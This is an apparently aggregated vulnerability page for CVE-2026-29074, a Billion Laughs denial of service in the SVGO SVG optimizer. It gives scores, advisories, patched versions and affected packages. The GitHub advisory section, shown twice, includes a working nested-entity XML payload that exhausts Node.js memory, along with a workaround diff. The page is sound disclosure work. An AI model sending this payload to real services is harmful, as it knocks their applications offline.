Every CVE Search/ Get API key

CVE-2026-29074

SVGO: DoS through entity expansion in DOCTYPE (Billion Laughs)

7.5 HighFix available

SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 2.1.0 to before version 2.8.1, from version 3.0.0 to before version 3.3.3, and before version 4.0.1, SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory. This issue has been patched in versions 2.8.1, 3.3.3, and 4.0.1.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.70%Up 0.7 points since Mar 6, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.5

SVGO: DoS through entity expansion in DOCTYPE (Billion Laughs)

SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 2.1.0 to before version 2.8.1, from version 3.0.0 to before version 3.3.3, and before version 4.0.1, SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory. This issue has been patched in versions 2.8.1, 3.3.3, and 4.0.1.

Record
CVE-2026-29074
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-776, CWE-776
Updated
2026-11-02
EUVDEUVD-2026-10022 7.5

SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 2.1.0 to before version 2.8.1, from version 3.0.0 to before version 3.3.3, and before version 4.0.1, SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory. This issue has been patched in versions 2.8.1, 3.3.3, and 4.0.1.

Record
EUVD-2026-10022
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-xpqw-6gx7-v673 7.5

SVGO DoS through entity expansion in DOCTYPE (Billion Laughs)

Summary

SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory.

Details

The upstream XML parser (sax) doesn't interpret custom XML entities by default. We pattern matched custom XML entities from the DOCTYPE, inserting them into parser.ENTITIES, and enabled unparsedEntities. This gives us the desired behavior of supporting SVGs with entities declared in the DOCTYPE.

However, entities can reference other entities, which can enable small SVGs to explode exponentially when we try to parse them.

Proof of Concept

import { optimize } from 'svgo';

/** Presume that this string was obtained in some other way, such as network. */
const original = `
  <?xml version="1.0"?>
  <!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ELEMENT lolz (#PCDATA)>
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
  ]>
  <lolz>&lol9;</lolz>
`;

optimize(original);

Impact

If SVGO is run on untrusted input (i.e., user uploaded to server-side application), then the untrusted SVG can effectively stall or crash the application with an SVG < 1 KB in size.

It's unlikely to impact users who just use SVGO locally on their own SVGs or in build pipelines.

Patches

SVGO has patched v4.0.1, v3.3.3, and v2.8.1! However, it's strongly recommended to upgrade to v4 regardless, as previous versions are not officially supported anymore.

Workarounds

== 4.0.0

For v4, users do not specifically have to upgrade SVGO, though it is recommended to do so. A package manager can be used to upgrade sax recursively:

For example:

yarn up -R sax

New options were introduced upstream which makes the way SVGO parses SVGs safe by default.

>= 2.1.0, <= 3.3.2

Users of v3 and v2 will have to take manual action. If users can't upgrade, they may be able to work around this as long as the project doesn't require support for custom XML entities, though it's not a simple flag.

Parse the DOCTYPE directly and check for the presence of custom entities. If entities are present, throw/escape before passing them to SVGO.

+ import SAX from 'sax';
  import { optimize } from 'svgo';

- const original =`
+ let original = `
    <?xml version="1.0"?>
    <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ELEMENT lolz (#PCDATA)>
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <lolz>&lol9;</lolz>
  `;

+ const parser = SAX.parser();
+ /** @param {string} doctype */
+ parser.ondoctype =…
Record
GHSA-xpqw-6gx7-v673
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-776
Updated
2026-11-02
NVD 7.5

SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 2.1.0 to before version 2.8.1, from version 3.0.0 to before version 3.3.3, and before version 4.0.1, SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory. This issue has been patched in versions 2.8.1, 3.3.3, and 4.0.1.

Record
CVE-2026-29074
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-776
Updated
2026-11-02
OSV 7.5

SVGO: DoS through entity expansion in DOCTYPE (Billion Laughs)

SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 2.1.0 to before version 2.8.1, from version 3.0.0 to before version 3.3.3, and before version 4.0.1, SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory. This issue has been patched in versions 2.8.1, 3.3.3, and 4.0.1.

Record
CVE-2026-29074
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-776
Updated
2026-11-02
OSVDEBIAN-CVE-2026-29074 7.5

SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 2.1.0 to before version 2.8.1, from version 3.0.0 to before version 3.3.3, and before version 4.0.1, SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory. This issue has been patched in versions 2.8.1, 3.3.3, and 4.0.1.

Record
DEBIAN-CVE-2026-29074
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
Show 8 moreShow less
OSVGHSA-xpqw-6gx7-v673 7.5

SVGO DoS through entity expansion in DOCTYPE (Billion Laughs)

Summary

SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory.

Details

The upstream XML parser (sax) doesn't interpret custom XML entities by default. We pattern matched custom XML entities from the DOCTYPE, inserting them into parser.ENTITIES, and enabled unparsedEntities. This gives us the desired behavior of supporting SVGs with entities declared in the DOCTYPE.

However, entities can reference other entities, which can enable small SVGs to explode exponentially when we try to parse them.

Proof of Concept

import { optimize } from 'svgo';

/** Presume that this string was obtained in some other way, such as network. */
const original = `
  <?xml version="1.0"?>
  <!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ELEMENT lolz (#PCDATA)>
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
  ]>
  <lolz>&lol9;</lolz>
`;

optimize(original);

Impact

If SVGO is run on untrusted input (i.e., user uploaded to server-side application), then the untrusted SVG can effectively stall or crash the application with an SVG < 1 KB in size.

It's unlikely to impact users who just use SVGO locally on their own SVGs or in build pipelines.

Patches

SVGO has patched v4.0.1, v3.3.3, and v2.8.1! However, it's strongly recommended to upgrade to v4 regardless, as previous versions are not officially supported anymore.

Workarounds

== 4.0.0

For v4, users do not specifically have to upgrade SVGO, though it is recommended to do so. A package manager can be used to upgrade sax recursively:

For example:

yarn up -R sax

New options were introduced upstream which makes the way SVGO parses SVGs safe by default.

>= 2.1.0, <= 3.3.2

Users of v3 and v2 will have to take manual action. If users can't upgrade, they may be able to work around this as long as the project doesn't require support for custom XML entities, though it's not a simple flag.

Parse the DOCTYPE directly and check for the presence of custom entities. If entities are present, throw/escape before passing them to SVGO.

+ import SAX from 'sax';
  import { optimize } from 'svgo';

- const original =`
+ let original = `
    <?xml version="1.0"?>
    <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ELEMENT lolz (#PCDATA)>
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <lolz>&lol9;</lolz>
  `;

+ const parser = SAX.parser();
+ /** @param {string} doctype */
+ parser.ondoctype =…
Record
GHSA-xpqw-6gx7-v673
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-776
Updated
2026-11-02
OSVRHSA-2026:13512 9.1

Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update

Record
RHSA-2026:13512
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVRHSA-2026:6277 7.5

Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update

Record
RHSA-2026:6277
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVCLSA-2026-1779324470 No score

TuxCare security update for svgo (1 CVE)

TuxCare rebuilt svgo to address 1 CVE. Fixed in 2.8.0-tuxcare.1.

Record
CLSA-2026-1779324470
Updated
2026-11-02
OSVopenSUSE-SU-2026:12070-1 No score

velociraptor-0.76.7.0.git145.b60ef1146-1.1 on GA media

These are all security issues fixed in the velociraptor-0.76.7.0.git145.b60ef1146-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:12070-1
Updated
2026-11-02
OSVROOT-APP-NPM-CVE-2026-29074 No score

CVE-2026-29074 in svgo - Patched by Root

Root has patched CVE-2026-29074 in the svgo package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-CVE-2026-29074
Updated
2026-11-02
OSVSUSE-SU-2026:2005-1 No score

Security update for cockpit

This update for cockpit fixes the following issues

  • CVE-2026-0775: npm: loading of modules from an unsecured location can be used for local privilege escalation and arbitrary code execution in the context of a target user (bsc#1256521).
  • CVE-2026-4802: remote command execution via unsanitized user-controlled parameters within crafted links in system logs UI (bsc#1265040).
  • CVE-2026-29074: svgo: no guard against entity expansion or recursion when processing XML with custom entities can lead to DoS (bsc#1259290).
Record
SUSE-SU-2026:2005-1
Updated
2026-11-02
OSVSUSE-SU-2026:2019-1 No score

Security update for cockpit

This update for cockpit fixes the following issues

  • CVE-2026-0775: npm: loading of modules from an unsecured location can be used for local privilege escalation and arbitrary code execution in the context of a target user (bsc#1256521).
  • CVE-2026-4802: remote command execution via unsanitized user-controlled parameters within crafted links in system logs UI (bsc#1265040).
  • CVE-2026-29074: svgo: no guard against entity expansion or recursion when processing XML with custom entities can lead to DoS (bsc#1259290).
Record
SUSE-SU-2026:2019-1
Updated
2026-11-02

Affected products

Show 37 moreShow less

Affected packages

Affected packages
PackageAffectedFixed
svgo
npm
2.1.0 up to 2.8.1
2.8.1
svgo
npm
3.0.0 up to 3.3.3
3.3.3
svgo
npm
4.0.0 to 4.0.0
4.0.1
svgo
TuxCare:npm
2.8.0-tuxcare.0 up to 2.8.0-tuxcare.1, plus listed versions
2.8.0
2.8.0-tuxcare.1
node-svgo
Debian:14
before 3.3.5+ds-1, plus listed versions
3.3.2+ds-1
3.3.5+ds-1
svgo
npm
4.0.0 up to 4.0.1
4.0.1
python3.12-markdown
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 12 CVEs
before 0:3.10.2-1.el8ap
0:3.10.2-1.el8ap
python3.12-markdown
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 12 CVEs
before 0:3.10.2-1.el9ap
0:3.10.2-1.el9ap
automation-gateway-server
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 12 CVEs
before 0:2.5.20260422-2.el8ap
0:2.5.20260422-2.el8ap
automation-gateway-server
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 12 CVEs
before 0:2.5.20260422-2.el9ap
0:2.5.20260422-2.el9ap
Show 59 moreShow less
Affected packages
PackageAffectedFixed
automation-controller-venv-tower
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 12 CVEs
before 0:4.6.28-3.el8ap
0:4.6.28-3.el8ap
python3.12-django-ansible-base+activitystream
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 12 CVEs
before 0:2.5.20260422-2.el8ap
0:2.5.20260422-2.el8ap
python3.12-django-ansible-base+api_documentation
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 12 CVEs
before 0:2.5.20260422-2.el8ap
0:2.5.20260422-2.el8ap
python3.12-django-ansible-base+authentication
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 12 CVEs
before 0:2.5.20260422-2.el8ap
0:2.5.20260422-2.el8ap
python3.12-django-ansible-base+channel_auth
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 12 CVEs
before 0:2.5.20260422-2.el8ap
0:2.5.20260422-2.el8ap
python3.12-django-ansible-base+feature_flags
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 12 CVEs
before 0:2.5.20260422-2.el8ap
0:2.5.20260422-2.el8ap
python3.12-django-ansible-base+jwt_consumer
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 12 CVEs
before 0:2.5.20260422-2.el8ap
0:2.5.20260422-2.el8ap
python3.12-django-ansible-base+oauth2_provider
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 12 CVEs
before 0:2.5.20260422-2.el8ap
0:2.5.20260422-2.el8ap
python3.12-django-ansible-base+rbac
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 12 CVEs
before 0:2.5.20260422-2.el8ap
0:2.5.20260422-2.el8ap
python3.12-django-ansible-base+redis_client
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 12 CVEs
before 0:2.5.20260422-2.el8ap
0:2.5.20260422-2.el8ap
python3.12-django-ansible-base+rest_filters
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 12 CVEs
before 0:2.5.20260422-2.el8ap
0:2.5.20260422-2.el8ap
python3.12-django-ansible-base
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 12 CVEs
before 0:2.5.20260422-2.el8ap
0:2.5.20260422-2.el8ap
automation-controller-venv-tower
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 12 CVEs
before 0:4.6.28-3.el9ap
0:4.6.28-3.el9ap
python3.12-django-ansible-base+activitystream
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 12 CVEs
before 0:2.5.20260422-2.el9ap
0:2.5.20260422-2.el9ap
python3.12-django-ansible-base+api_documentation
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 12 CVEs
before 0:2.5.20260422-2.el9ap
0:2.5.20260422-2.el9ap
python3.12-django-ansible-base+authentication
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 12 CVEs
before 0:2.5.20260422-2.el9ap
0:2.5.20260422-2.el9ap
python3.12-django-ansible-base+channel_auth
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 12 CVEs
before 0:2.5.20260422-2.el9ap
0:2.5.20260422-2.el9ap
python3.12-django-ansible-base+feature_flags
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 12 CVEs
before 0:2.5.20260422-2.el9ap
0:2.5.20260422-2.el9ap
python3.12-django-ansible-base+jwt_consumer
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 12 CVEs
before 0:2.5.20260422-2.el9ap
0:2.5.20260422-2.el9ap
python3.12-django-ansible-base+oauth2_provider
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 12 CVEs
before 0:2.5.20260422-2.el9ap
0:2.5.20260422-2.el9ap
python3.12-django-ansible-base+rbac
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 12 CVEs
before 0:2.5.20260422-2.el9ap
0:2.5.20260422-2.el9ap
python3.12-django-ansible-base+redis_client
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 12 CVEs
before 0:2.5.20260422-2.el9ap
0:2.5.20260422-2.el9ap
python3.12-django-ansible-base+rest_filters
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 12 CVEs
before 0:2.5.20260422-2.el9ap
0:2.5.20260422-2.el9ap
python3.12-django-ansible-base
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 12 CVEs
before 0:2.5.20260422-2.el9ap
0:2.5.20260422-2.el9ap
python3.12-pyasn1
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 12 CVEs
before 0:0.6.3-1.el8ap
0:0.6.3-1.el8ap
python3.12-pyasn1
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 12 CVEs
before 0:0.6.3-1.el9ap
0:0.6.3-1.el9ap
receptor
Red Hat:ansible_automation_platform_developer:2.5::el8
From an advisory covering 12 CVEs
before 0:1.6.4-2.el8ap
0:1.6.4-2.el8ap
receptor
Red Hat:ansible_automation_platform_inside:2.5::el8
From an advisory covering 12 CVEs
before 0:1.6.4-2.el8ap
0:1.6.4-2.el8ap
automation-gateway-proxy
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 12 CVEs
before 0:2.5.10-5.el8ap
0:2.5.10-5.el8ap
automation-gateway-proxy-debugsource
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 12 CVEs
before 0:2.5.10-5.el8ap
0:2.5.10-5.el8ap
automation-gateway-proxy-server
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 12 CVEs
before 0:2.5.10-5.el8ap
0:2.5.10-5.el8ap
automation-gateway-proxy-server-debuginfo
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 12 CVEs
before 0:2.5.10-5.el8ap
0:2.5.10-5.el8ap
receptor
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 12 CVEs
before 0:1.6.4-2.el8ap
0:1.6.4-2.el8ap
receptor
Red Hat:ansible_automation_platform_developer:2.5::el9
From an advisory covering 12 CVEs
before 0:1.6.4-2.el9ap
0:1.6.4-2.el9ap
receptor
Red Hat:ansible_automation_platform_inside:2.5::el9
From an advisory covering 12 CVEs
before 0:1.6.4-2.el9ap
0:1.6.4-2.el9ap
automation-gateway-proxy
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 12 CVEs
before 0:2.6.14-2.el9
0:2.6.14-2.el9
automation-gateway-proxy-debugsource
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 12 CVEs
before 0:2.6.14-2.el9
0:2.6.14-2.el9
automation-gateway-proxy-server
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 12 CVEs
before 0:2.6.14-2.el9
0:2.6.14-2.el9
automation-gateway-proxy-server-debuginfo
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 12 CVEs
before 0:2.6.14-2.el9
0:2.6.14-2.el9
receptor
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 12 CVEs
before 0:1.6.4-2.el9ap
0:1.6.4-2.el9ap
python3.12-pyOpenSSL
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 12 CVEs
before 0:26.0.0-1.el8ap
0:26.0.0-1.el8ap
python3.12-pyOpenSSL
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 12 CVEs
before 0:26.0.0-1.el9ap
0:26.0.0-1.el9ap
python3.12-pyjwt+crypto
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 12 CVEs
before 0:2.12.1-1.el8ap
0:2.12.1-1.el8ap
python3.12-pyjwt
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 12 CVEs
before 0:2.12.1-1.el8ap
0:2.12.1-1.el8ap
python3.12-pyjwt+crypto
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 12 CVEs
before 0:2.12.1-1.el9ap
0:2.12.1-1.el9ap
python3.12-pyjwt
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 12 CVEs
before 0:2.12.1-1.el9ap
0:2.12.1-1.el9ap
python3.12-jwcrypto
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 12 CVEs
before 0:1.5.7-1.el8ap
0:1.5.7-1.el8ap
python3.12-jwcrypto
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 12 CVEs
before 0:1.5.7-1.el9ap
0:1.5.7-1.el9ap
automation-gateway-proxy
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 7 CVEs
before 0:2.6.14-1.el9
0:2.6.14-1.el9
automation-gateway-proxy-debugsource
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 7 CVEs
before 0:2.6.14-1.el9
0:2.6.14-1.el9
automation-gateway-proxy-server
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 7 CVEs
before 0:2.6.14-1.el9
0:2.6.14-1.el9
automation-gateway-proxy-server-debuginfo
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 7 CVEs
before 0:2.6.14-1.el9
0:2.6.14-1.el9
automation-platform-ui
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 7 CVEs
before 0:2.6.7-1.el9ap
0:2.6.7-1.el9ap
python3.12-pillow
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 7 CVEs
before 0:12.1.1-1.el9ap
0:12.1.1-1.el9ap
python3.12-pillow-debuginfo
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 7 CVEs
before 0:12.1.1-1.el9ap
0:12.1.1-1.el9ap
python3.12-pillow-debugsource
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 7 CVEs
before 0:12.1.1-1.el9ap
0:12.1.1-1.el9ap
svgo
Root:npm
before 2.8.0-aikido.5
2.8.0-aikido.53.3.2-aikido.32.8.0-aikido.22.8.0-aikido.33.3.2-aikido.13.3.2-aikido.22.8.0-aikido.43.3.3-aikido.33.3.3-aikido.13.3.3-aikido.2
@rootio/svgo
Root:npm
before 2.8.0-root.io.1
2.8.0-root.io.12.8.0-root.io.53.3.2-root.io.32.8.0-root.io.22.8.0-root.io.33.3.2-root.io.13.3.2-root.io.22.8.0-root.io.43.3.3-root.io.33.3.3-root.io.13.3.3-root.io.2
velociraptor
openSUSE:Tumbleweed
From an advisory covering 40 CVEs
before 0.76.7.0.git145.b60ef1146-1.1
0.76.7.0.git145.b60ef1146-1.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-29074 is a high vulnerability (CVSS 7.5) in Svg Svgo, published March 4, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.70%, the 53rd percentile. Fixed in svgo 2.8.1.

References

Show 188 moreShow less
This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open